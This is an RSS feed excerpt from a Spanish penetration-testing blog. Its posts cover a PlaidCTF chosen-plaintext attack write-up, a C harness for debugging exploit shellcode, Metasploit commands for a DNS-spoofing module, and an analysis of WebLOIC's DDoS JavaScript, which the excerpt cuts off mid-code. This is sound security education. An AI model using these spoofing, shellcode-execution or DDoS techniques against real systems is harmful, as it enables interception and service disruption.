&lt;a href="http://1.bp.blogspot.com/-JIsMyOOU0zc/T528Yb1UvWI/AAAAAAAAAok/qeMleEvnSto/s1600/Diagrama2.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="218" src="http://1.bp.blogspot.com/-JIsMyOOU0zc/T528Yb1UvWI/AAAAAAAAAok/qeMleEvnSto/s640/Diagrama2.png" width="640" /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div style="text-align: justify;"&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style="text-align: justify;"&gt;
La implementación de todo esto la podeis descargar de&amp;nbsp;&lt;a href="https://sites.google.com/site/pentesteres/Home/pentester-es/encryption_f___er.py?attredirects=0&amp;amp;d=1" target="_blank"&gt;AQUÍ&lt;/a&gt;&amp;nbsp;si quereis ver todos los detalles. El script funcionaría algo así:&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;
&lt;i&gt;$ time ./encryption_f___er.py&lt;/i&gt;&lt;br /&gt;
&lt;div&gt;
&lt;div&gt;
&lt;div&gt;
&lt;i&gt;p&lt;/i&gt;&lt;/div&gt;
&lt;div&gt;
&lt;i&gt;r&lt;/i&gt;&lt;/div&gt;
&lt;div&gt;
&lt;i&gt;e&lt;/i&gt;&lt;/div&gt;
&lt;div&gt;
&lt;i&gt;d&lt;/i&gt;&lt;/div&gt;
&lt;div&gt;
&lt;i&gt;i&lt;/i&gt;&lt;/div&gt;
&lt;div&gt;
&lt;i&gt;c&lt;/i&gt;&lt;/div&gt;
&lt;div&gt;
&lt;i&gt;t&lt;/i&gt;&lt;/div&gt;
&lt;div&gt;
&lt;i&gt;a&lt;/i&gt;&lt;/div&gt;
&lt;div&gt;
&lt;i&gt;b&lt;/i&gt;&lt;/div&gt;
&lt;div&gt;
&lt;i&gt;l&lt;/i&gt;&lt;/div&gt;
&lt;div&gt;
&lt;i&gt;e&lt;/i&gt;&lt;/div&gt;
&lt;div&gt;
&lt;i&gt;_&lt;/i&gt;&lt;/div&gt;
&lt;div&gt;
&lt;i&gt;i&lt;/i&gt;&lt;/div&gt;
&lt;div&gt;
&lt;i&gt;v&lt;/i&gt;&lt;/div&gt;
&lt;div&gt;
&lt;i&gt;s&lt;/i&gt;&lt;/div&gt;
&lt;div&gt;
&lt;i&gt;_&lt;/i&gt;&lt;/div&gt;
&lt;div&gt;
&lt;i&gt;a&lt;/i&gt;&lt;/div&gt;
&lt;div&gt;
&lt;i&gt;r&lt;/i&gt;&lt;/div&gt;
&lt;div&gt;
&lt;i&gt;e&lt;/i&gt;&lt;/div&gt;
&lt;div&gt;
&lt;i&gt;_&lt;/i&gt;&lt;/div&gt;
&lt;div&gt;
&lt;i&gt;d&lt;/i&gt;&lt;/div&gt;
&lt;div&gt;
&lt;i&gt;a&lt;/i&gt;&lt;/div&gt;
&lt;div&gt;
&lt;i&gt;n&lt;/i&gt;&lt;/div&gt;
&lt;div&gt;
&lt;i&gt;g&lt;/i&gt;&lt;/div&gt;
&lt;div&gt;
&lt;i&gt;e&lt;/i&gt;&lt;/div&gt;
&lt;div&gt;
&lt;i&gt;r&lt;/i&gt;&lt;/div&gt;
&lt;div&gt;
&lt;i&gt;o&lt;/i&gt;&lt;/div&gt;
&lt;div&gt;
&lt;i&gt;u&lt;/i&gt;&lt;/div&gt;
&lt;div&gt;
&lt;i&gt;s&lt;/i&gt;&lt;/div&gt;
&lt;div&gt;
&lt;i&gt;&lt;br /&gt;
&lt;/i&gt;&lt;/div&gt;
&lt;div&gt;
&lt;i&gt;PASSWORD = predictable_ivs_are_dangerous&lt;/i&gt;&lt;/div&gt;
&lt;div&gt;
&lt;i&gt;&lt;br /&gt;
&lt;/i&gt;&lt;/div&gt;
&lt;div&gt;
&lt;i&gt;real&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;3m28.070s&lt;/i&gt;&lt;/div&gt;
&lt;div&gt;
&lt;i&gt;user&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;0m0.115s&lt;/i&gt;&lt;/div&gt;
&lt;div&gt;
&lt;i&gt;sys&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;0m0.107s&lt;/i&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style="text-align: justify;"&gt;
Como podeis ver, hemos sacado el PROBLEM_KEY en unos pocos minutos sin conocer la clave de cifrado, solo por la posibilidad de hacer un Chosen-Plaintext-Attack.&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7678234999586772610-6237432944871070766?l=www.pentester.es' alt='' /&gt;&lt;/div&gt;</description><link>http://www.pentester.es/2012/05/encryption-service-del-plaidctf.html</link><author>noreply@blogger.com (Jose Selvi)</author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://4.bp.blogspot.com/-h-6XhyXWojM/T52SVsMpjtI/AAAAAAAAAoQ/4RoeuJ-8AQ4/s72-c/Cbc_encryption.png" height="72" width="72" /><thr:total>5</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-7678234999586772610.post-5222401393146331506</guid><pubDate>Mon, 30 Apr 2012 05:13:00 +0000</pubDate><atom:updated>2012-04-30T07:13:00.417+02:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">NocONName</category><category domain="http://www.blogger.com/atom/ns#">IngenieriaInversa</category><category domain="http://www.blogger.com/atom/ns#">Conferencias</category><category domain="http://www.blogger.com/atom/ns#">Exploiting</category><title>From ShellCode to Binary (NcN 2011)</title><description>&lt;div style="text-align: justify;"&gt;
Como ya comenté en &lt;a href="http://www.pentester.es/2011/09/debuging-exploit-payloads-ncn-2011.html" target="_blank"&gt;un anterior post&lt;/a&gt;, el pasado mes de Septiembre participé como ponente en las Conferencias &lt;a href="http://twitter.com/#!/noconname" target="_blank"&gt;No cON Name&lt;/a&gt; en Barcelona, con una charla titulada "&lt;b&gt;Debugging (Exploit) Payloads&lt;/b&gt;" que trataba sobre como podemos depurar lo que hace el &lt;i&gt;payload&lt;/i&gt;/&lt;i&gt;shellcode&lt;/i&gt; de un &lt;i&gt;exploit&lt;/i&gt; para investigar posibles problemas.&lt;/div&gt;
&lt;div style="text-align: justify;"&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style="text-align: justify;"&gt;
Entre las cosas que comenté, había una &lt;i&gt;slide&lt;/i&gt; que mostraba una posible manera de depurar un &lt;i&gt;shellcode&lt;/i&gt;&amp;nbsp;extraído&amp;nbsp;con un exploit en un &lt;i&gt;debugger&lt;/i&gt; tradicional (ollydbg, por ejemplo), y que suscitó algunas preguntas y comentarios tras la charla, así que he pensado que merecía la pena verlo con algo más de detalle. La &lt;i&gt;slide&lt;/i&gt; en cuestión fue la siguiente:&lt;/div&gt;
&lt;br /&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;
&lt;a href="http://4.bp.blogspot.com/-2WGWF6CVvPo/T53AzZWh2II/AAAAAAAAAow/Xx34T1_4H80/s1600/DebugPayloads.001.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="480" src="http://4.bp.blogspot.com/-2WGWF6CVvPo/T53AzZWh2II/AAAAAAAAAow/Xx34T1_4H80/s640/DebugPayloads.001.jpg" width="640" /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div style="text-align: justify;"&gt;
Describiendo un poco el código, en primer lugar declaramos una variable estática llamada "&lt;b&gt;shellcode&lt;/b&gt;" que es de tipo &lt;i&gt;unsigned char&lt;/i&gt;, y sobre ella pegamos el contenido del &lt;i&gt;shellcode&lt;/i&gt; que queremos depurar,&amp;nbsp;extraído&amp;nbsp;del exploit. A este contenido le ponemos delante y detrás un byte con valor &lt;b&gt;0xCC&lt;/b&gt;&amp;nbsp;que en arquitectura x86 es el &lt;i&gt;opcode&lt;/i&gt; de la instrucción "&lt;b&gt;INT 3&lt;/b&gt;".&lt;/div&gt;
&lt;div style="text-align: justify;"&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style="text-align: justify;"&gt;
La interrupción 3 (INT 3) es lo que emplean los &lt;i&gt;debuggers&lt;/i&gt; para detener la ejecución de un código en un punto (poner un &lt;i&gt;breakpoint&lt;/i&gt;). Concretamente lo que hacen es guardarse el contenido original de la instrucción y sustituirla por el INT 3. Cuando la ejecución de ese código llega a una INT 3, esta se detiene y devuelve el control al &lt;i&gt;debugger&lt;/i&gt;. Poniendo estos INT 3's "artificiales" en el &lt;i&gt;shellcode&lt;/i&gt; lo que conseguimos es que la ejecución se pare en el inicio del &lt;i&gt;shellcode&lt;/i&gt; para poder empezar a depurarlo. Ahora solo nos faltará hacer que la ejecución llegue hasta dicho &lt;i&gt;shellcode&lt;/i&gt;, pero para eso está el código que podemos ver en el main:&lt;/div&gt;
&lt;div style="text-align: justify;"&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style="text-align: left;"&gt;
&lt;i&gt;&lt;b&gt;int (*func)();&lt;/b&gt;&lt;/i&gt;&lt;/div&gt;
&lt;div style="text-align: left;"&gt;
&lt;i&gt;&lt;b&gt;func = (int (*)) shellcode;&lt;/b&gt;&lt;/i&gt;&lt;/div&gt;
&lt;div style="text-align: left;"&gt;
&lt;i&gt;&lt;b&gt;(int)(*func)();&lt;/b&gt;&lt;/i&gt;&lt;/div&gt;
&lt;div style="text-align: justify;"&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style="text-align: justify;"&gt;
Todos nosotros conocemos de sobra como declarar una función en C, y también como se utilizan los punteros (el puntero, el puntero a puntero, y el puntero a puntero de punteros que apuntan a punteros, que recuerdos de la universidad...). Lo que no es tan habitual es declarar un &lt;b&gt;puntero a una función&lt;/b&gt;, al menos en una programación "habitual", pero resulta extremadamente útil para este caso.&lt;/div&gt;
&lt;div style="text-align: justify;"&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style="text-align: justify;"&gt;
Con la primera instrucción estamos declarando un puntero a función, es decir, estamos declarando una función pero aún no le estamos diciendo en que zona está el código de dicha función.&lt;/div&gt;
&lt;div style="text-align: justify;"&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style="text-align: justify;"&gt;
Con la segunda instrucción estamos asignando la dirección de la variable &lt;i&gt;shellcode&lt;/i&gt; al puntero a la función, o lo que es lo mismo, si ahora llamamos a la función se ejecutará el contenido de la variable &lt;i&gt;shellcode&lt;/i&gt;.&lt;/div&gt;
&lt;div style="text-align: justify;"&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style="text-align: justify;"&gt;
Por último, por ser un puntero a función, no se llama exactamente igual que una función normal, pero puede ser llamada como vemos en la tercera instrucción, de una forma bastante intuitiva si recordamos como se accedía al valor señalado por un puntero.&lt;/div&gt;
&lt;div style="text-align: justify;"&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style="text-align: justify;"&gt;
Con esto conseguimos un programa que lo único que hace es saltar la ejecución al &lt;i&gt;shellcode&lt;/i&gt;, que hemos dejado adecuadamente preparado con un INT 3 delante para poder compilar este programa y lanzarlo con un &lt;i&gt;debugger&lt;/i&gt;, y que se nos quede la ejecución parada al principio del &lt;i&gt;shellcode&lt;/i&gt;, listo para depurar paso a paso o como queramos.&lt;/div&gt;
&lt;div style="text-align: justify;"&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style="text-align: justify;"&gt;
Una pregunta que surgió a varias personas sobre todo esto es ¿eso funciona?&lt;/div&gt;
&lt;div style="text-align: justify;"&gt;
La duda tiene fundamento, ya que en los sistemas modernos existen protecciones que impiden que el flujo de ejecución salte a algunas zonas de memoria, como por ejemplo la pila. Por ejemplo, en Windows, esta protección se llama DEP (&lt;a href="http://support.microsoft.com/kb/875352" target="_blank"&gt;Data Execution Prevention&lt;/a&gt;).&lt;/div&gt;
&lt;div style="text-align: justify;"&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style="text-align: justify;"&gt;
La respuesta era SÍ, funciona correctamente, por dos motivos:&lt;/div&gt;
&lt;br /&gt;
&lt;ol&gt;
&lt;li style="text-align: justify;"&gt;Las pruebas las hice con un Windows XP SP3 que, aunque ya incorpora tecnología DEP, ésta está activada en la modalidad &lt;b&gt;OptIn&lt;/b&gt; (igual que en Windows 7, si no recuerdo mal), con lo que la protección solo se aplica a procesos de sistema y algunos servicios "suscritos" a ella, con lo que un programita hecho y compilado por nosotros no va a tener, &lt;i&gt;a priori&lt;/i&gt;, esta protección.&lt;/li&gt;
&lt;li style="text-align: justify;"&gt;Aunque&amp;nbsp;intentáramos&amp;nbsp;depurar el &lt;i&gt;payload&lt;/i&gt; en un sistema con otra opción por defecto diferente a OptIn, la variable a la que salta la ejecución (shellcode) es una variable global, y como tal se almacena en una zona de la memoria del proceso llamada &lt;b&gt;rodata&lt;/b&gt; (read-only data), que está fuera de la pila y por lo tanto no le deberían aplicar este tipo de protecciones (aunque reconozco que no lo he probado).&lt;/li&gt;
&lt;/ol&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;
&lt;a href="http://1.bp.blogspot.com/-sofs90ea3B4/T53KqN-LWmI/AAAAAAAAAo8/algaxxHovKQ/s1600/csections.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="295" src="http://1.bp.blogspot.com/-sofs90ea3B4/T53KqN-LWmI/AAAAAAAAAo8/algaxxHovKQ/s320/csections.png" width="320" /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style="text-align: justify;"&gt;
¿Cómo lo&amp;nbsp;hacéis&amp;nbsp;vosotros? ¿&amp;nbsp;puntualización&amp;nbsp;Alguna o mejora? Deja tu comentario :)&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7678234999586772610-5222401393146331506?l=www.pentester.es' alt='' /&gt;&lt;/div&gt;</description><link>http://www.pentester.es/2012/04/from-shellcode-to-binary-ncn-2011.html</link><author>noreply@blogger.com (Jose Selvi)</author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://4.bp.blogspot.com/-2WGWF6CVvPo/T53AzZWh2II/AAAAAAAAAow/Xx34T1_4H80/s72-c/DebugPayloads.001.jpg" height="72" width="72" /><thr:total>7</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-7678234999586772610.post-9183877996262509709</guid><pubDate>Wed, 04 Apr 2012 05:58:00 +0000</pubDate><atom:updated>2012-04-04T08:15:03.186+02:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">Herramientas</category><category domain="http://www.blogger.com/atom/ns#">metasploit</category><title>BestFakeDNS para Metasploit</title><description>&lt;div style="text-align: justify;"&gt;
En los anteriores dos posts &lt;a href="http://www.pentester.es/2012/03/mejorando-fakedns-i.html" target="_blank"&gt;[1]&lt;/a&gt; &lt;a href="http://www.pentester.es/2012/03/mejorando-fakedns-y-ii.html" target="_blank"&gt;[2]&lt;/a&gt; veíamos como mejorar algunas de las funcionalidades del módulo "fakedns" de Metasploit de una forma sencilla, modificando tan solo un par de lineas del script.&lt;/div&gt;
&lt;div style="text-align: justify;"&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style="text-align: justify;"&gt;
Sin embargo, estas soluciones rápidas, aunque bastante funcionales, pueden no funcionar perfectamente en&amp;nbsp;cualquier circunstancia. Por ello, he publicado mi propia versión del "fakedns" a la que he llamado &lt;b&gt;&lt;span style="font-size: large;"&gt;bestfakedns&lt;/span&gt;&lt;/b&gt;, y&amp;nbsp;que puede ser descargada de &lt;a href="http://tools.pentester.es/fakedns" target="_blank"&gt;AQUÍ&lt;/a&gt;.&lt;/div&gt;
&lt;div style="text-align: justify;"&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style="text-align: justify;"&gt;
Esta versión está basada en el fakedns original de Metasploit, pero se le han añadido la siguiente nueva funcionalidad:&lt;/div&gt;
&lt;ul&gt;
&lt;li style="text-align: justify;"&gt;Control de Acción (TARGETACTION): Ya no necesitamos modificar el código si queremos que funcione de la manera original o como lo hacíamos en los posts anteriores. Ahora tenemos un parametro que podemos definir como "BYPASS" o "FAKE" y que determina como empleará el módulo la lista que le pasamos.&lt;/li&gt;
&lt;li style="text-align: justify;"&gt;Control de Errores: Se ha añadido el control de errores que ya mencionamos en los anteriores posts, para evitar que el módulo casque. Además ahora muestra un mensaje notificando que se ha intentado resolver un nombre inexistente.&lt;/li&gt;
&lt;li style="text-align: justify;"&gt;Lista múltiple: Se pueden configurar varios nombres de hosts en la lista, tanto en BYPASS como en FAKE.&lt;/li&gt;
&lt;li style="text-align: justify;"&gt;Wildcard: Es posible definir nombres de hosts con wildcards, por ejemplo *.pentester.es&lt;/li&gt;
&lt;/ul&gt;
&lt;div style="text-align: justify;"&gt;
Si por ejemplo&amp;nbsp;quisiéramos&amp;nbsp;capturar todas las conexiones a cualquier nombre del dominio pentester.es, las que vayan a www.yahoo.com y ninguna más, podríamos hacerlo de la siguiente forma:&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;div&gt;
&lt;i&gt;msf &amp;gt; &lt;b&gt;use auxiliary/server/bestfakedns&lt;/b&gt;&lt;/i&gt;&lt;/div&gt;
&lt;div&gt;
&lt;i&gt;msf &amp;nbsp;auxiliary(bestfakedns) &amp;gt; &lt;b&gt;show options&lt;/b&gt;&lt;/i&gt;&lt;/div&gt;
&lt;div&gt;
&lt;i&gt;&lt;br /&gt;
&lt;/i&gt;&lt;/div&gt;
&lt;div&gt;
&lt;i&gt;Module options (auxiliary/server/bestfakedns):&lt;/i&gt;&lt;/div&gt;
&lt;div&gt;
&lt;i&gt;&lt;br /&gt;
&lt;/i&gt;&lt;/div&gt;
&lt;div&gt;
&lt;i&gt;&amp;nbsp; &amp;nbsp;Name &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;Current Setting &amp;nbsp;Required &amp;nbsp;Description&lt;/i&gt;&lt;/div&gt;
&lt;div&gt;
&lt;i&gt;&amp;nbsp; &amp;nbsp;---- &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;--------------- &amp;nbsp;-------- &amp;nbsp;-----------&lt;/i&gt;&lt;/div&gt;
&lt;div&gt;
&lt;i&gt;&amp;nbsp; &amp;nbsp;SRVHOST &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;0.0.0.0 &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; yes &amp;nbsp; &amp;nbsp; &amp;nbsp; The local host to listen on.&lt;/i&gt;&lt;/div&gt;
&lt;div&gt;
&lt;i&gt;&amp;nbsp; &amp;nbsp;SRVPORT &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;53 &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;yes &amp;nbsp; &amp;nbsp; &amp;nbsp; The local port to listen on.&lt;/i&gt;&lt;/div&gt;
&lt;div&gt;
&lt;i&gt;&amp;nbsp; &amp;nbsp;TARGETACTION &amp;nbsp;BYPASS &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;yes &amp;nbsp; &amp;nbsp; &amp;nbsp; Action for TARGETDOMAIN (fake|bypass)&lt;/i&gt;&lt;/div&gt;
&lt;div&gt;
&lt;i&gt;&amp;nbsp; &amp;nbsp;TARGETDOMAIN &amp;nbsp;www.google.com &amp;nbsp;yes &amp;nbsp; &amp;nbsp; &amp;nbsp; The list of target domain names we want to fully resolver (bypass) or fake resolve (fake)&lt;/i&gt;&lt;/div&gt;
&lt;div&gt;
&lt;i&gt;&amp;nbsp; &amp;nbsp;TARGETHOST &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; no &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;The address that all names should resolve to&lt;/i&gt;&lt;/div&gt;
&lt;div&gt;
&lt;i&gt;&lt;br /&gt;
&lt;/i&gt;&lt;/div&gt;
&lt;div&gt;
&lt;i&gt;msf &amp;nbsp;auxiliary(bestfakedns) &amp;gt; &lt;b&gt;set TARGETACTION FAKE&lt;/b&gt;&lt;/i&gt;&lt;/div&gt;
&lt;div&gt;
&lt;i&gt;msf &amp;nbsp;auxiliary(bestfakedns) &amp;gt; &lt;b&gt;set TARGETDOMAIN *.pentester.es www.yahoo.com&lt;/b&gt;&lt;/i&gt;&lt;/div&gt;
&lt;div&gt;
&lt;i&gt;msf &amp;nbsp;auxiliary(bestfakedns) &amp;gt; &lt;b&gt;set TARGETHOST 192.168.1.100&lt;/b&gt;&lt;/i&gt;&lt;/div&gt;
&lt;div&gt;
&lt;i&gt;msf &amp;nbsp;auxiliary(bestfakedns) &amp;gt; &lt;b&gt;run&lt;/b&gt;&lt;/i&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;
&lt;a href="http://1.bp.blogspot.com/-fR1c0iqd0_8/T24BD0_MRUI/AAAAAAAAAnw/G9mC6J_iH_c/s1600/bestfakedns.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="250" src="http://1.bp.blogspot.com/-fR1c0iqd0_8/T24BD0_MRUI/AAAAAAAAAnw/G9mC6J_iH_c/s640/bestfakedns.png" width="640" /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style="text-align: justify;"&gt;
Estas nuevas funcionalidades, al menos a mi, me resultan muy útiles tanto en auditorías internas como en análisis de dispositivos. Existen otras herramientas de fakedns que probablemente ya lleven estas funcionalidades "de serie", pero a mi me resulta especialmente cómodo utilizarlo desde Metasploit.&lt;/div&gt;
&lt;div style="text-align: justify;"&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style="text-align: justify;"&gt;
¿Cuál es tu herramienta favorita? ¿Alguna funcionalidad que eches en falta?&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7678234999586772610-9183877996262509709?l=www.pentester.es' alt='' /&gt;&lt;/div&gt;</description><link>http://www.pentester.es/2012/04/bestfakedns-para-metasploit.html</link><author>noreply@blogger.com (Jose Selvi)</author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://1.bp.blogspot.com/-fR1c0iqd0_8/T24BD0_MRUI/AAAAAAAAAnw/G9mC6J_iH_c/s72-c/bestfakedns.png" height="72" width="72" /><thr:total>5</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-7678234999586772610.post-8716458422815362081</guid><pubDate>Mon, 02 Apr 2012 05:30:00 +0000</pubDate><atom:updated>2012-04-02T13:54:17.346+02:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">Herramientas</category><category domain="http://www.blogger.com/atom/ns#">DoS</category><title>WebLOIC: DDoS de Anonymous</title><description>&lt;div style="text-align: justify;"&gt;
Como todos los que&amp;nbsp;vivís&amp;nbsp;en España sabeis, el pasado jueves estaba convocada una huelga general por el desacuerdo de los sindicatos con las reformas realizadas por el gobierno. Durante esta jornada tuvimos los típicos piquetes "informativos", pero también pudimos ver un nuevo tipo al que en algunos sitios he visto que los llaman &lt;b&gt;ePiquetes&lt;/b&gt;.&lt;/div&gt;
&lt;div style="text-align: justify;"&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style="text-align: justify;"&gt;
Los que durante la jornada del pasado jueves estuvisteis observando el twitter, y más concretamente los hashtags relacionados con la huelga, os encontraríais tweets como este:&lt;/div&gt;
&lt;br /&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;
&lt;a href="http://3.bp.blogspot.com/-k9TNFOOSpxE/T3W77kbRmXI/AAAAAAAAAn4/exgqxJERPRY/s1600/Twitter.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://3.bp.blogspot.com/-k9TNFOOSpxE/T3W77kbRmXI/AAAAAAAAAn4/exgqxJERPRY/s1600/Twitter.png" /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div style="text-align: justify;"&gt;
En estos Tweets podeis ver como se señala un objetivo (en este caso el Ministerio de Empleo y Seguridad Social) y un enlace que puede ser empleado para atacarlo. Este enlace vendría a ser una versión web de la herramienta LOIC (Low Orbit Ion Cannon), conocida por ser empleada habitualmente por Anonymous en sus ataques de Denegación de Servicio. Desconozco si realmente esta web está basada en la herramienta de escritorio, pero sí que he&amp;nbsp;oído&amp;nbsp;llamarla WebLOIC. Este "WebLOIC", tendría un aspecto así:&lt;/div&gt;
&lt;br /&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;
&lt;a href="http://2.bp.blogspot.com/-0VRnVdUj4Tw/T3W9VB0w-pI/AAAAAAAAAoA/rZ__M1quqVQ/s1600/WebLOIC.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="446" src="http://2.bp.blogspot.com/-0VRnVdUj4Tw/T3W9VB0w-pI/AAAAAAAAAoA/rZ__M1quqVQ/s640/WebLOIC.png" width="640" /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div style="text-align: justify;"&gt;
Como podeis ver, es un formulario web en el que se puede especificar la URL a atacar, la cantidad de conexiones (protestas) por segundo y un mensaje de protesta a enviar. Luego tiene un botón de "Comenzar Protesta" para empezar el ataque. En algunos casos se vieron enlaces como este pero que ya venían preconfigurados para empezar a lanzar un ataque con un mensaje concreto y un objetivo concreto nada más visitar la web, con lo que se hacía mucho más fácil que usuarios poco avanzados colaboraran. Simplemente tenían que pinchar en el enlace y dejar el navegador abierto.&lt;/div&gt;
&lt;div style="text-align: justify;"&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style="text-align: justify;"&gt;
Pero... ¿qué hace este "WebLOIC" para atacar al objetivo? Si configuramos nuestro navegador para que pase a través de un proxy, por ejemplo Burp, con el que capturar las conexiones que haga nuestro navegador, e intentamos lanzar un ataque contra alguna web, nos encontraremos algo como esto:&lt;/div&gt;
&lt;br /&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;
&lt;a href="http://2.bp.blogspot.com/-PBHqJwv4AK0/T3W-aU4UvmI/AAAAAAAAAoI/0uTuBfVz_cE/s1600/Burp.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="456" src="http://2.bp.blogspot.com/-PBHqJwv4AK0/T3W-aU4UvmI/AAAAAAAAAoI/0uTuBfVz_cE/s640/Burp.png" width="640" /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div style="text-align: justify;"&gt;
Como podeis ver, nuestro navegador empieza a lanzar un montón de conexiones a la URL que hemos especificado como objetivo, a la que le añade dos parámetros:&lt;/div&gt;
&lt;br /&gt;
&lt;ul&gt;
&lt;li style="text-align: justify;"&gt;&lt;u&gt;id&lt;/u&gt;: Un identificador numérico, que más adelante veremos que está basado en la fecha.&lt;/li&gt;
&lt;li style="text-align: justify;"&gt;&lt;u&gt;msg&lt;/u&gt;: El mensaje que definimos en el formulario.&lt;/li&gt;
&lt;/ul&gt;
&lt;br /&gt;
&lt;div style="text-align: justify;"&gt;
El resto de la petición es como cualquiera de las que saldrían de nuestro navegador, con nuestro User-Agent y con la URL del "WebLOIC" como Referer.&lt;/div&gt;
&lt;div style="text-align: justify;"&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style="text-align: justify;"&gt;
Esta claro que la web hace que nuestro navegador lance todas estas conexiones, pero... ¿cómo lo hace? Podría hacerlo de muchas formas, unas mejores que otras, pero en este caso veremos que lo hace con Javascript. Si analizamos el código Javascript de la página veremos esta función:&lt;/div&gt;
&lt;br /&gt;
&lt;i&gt;var makeHttpRequest = function ()&lt;/i&gt;&lt;br /&gt;
&lt;i&gt;{&lt;/i&gt;&lt;br /&gt;
&lt;i&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; if ( (currentTime.getTime()-lastSuccess) &amp;gt; 10000)&lt;/i&gt;&lt;br /&gt;
&lt;i&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; {&lt;/i&gt;&lt;br /&gt;
&lt;i&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; return;&lt;/i&gt;&lt;br /&gt;
&lt;i&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; }&lt;/i&gt;&lt;br /&gt;
&lt;i&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; else&lt;/i&gt;&lt;br /&gt;
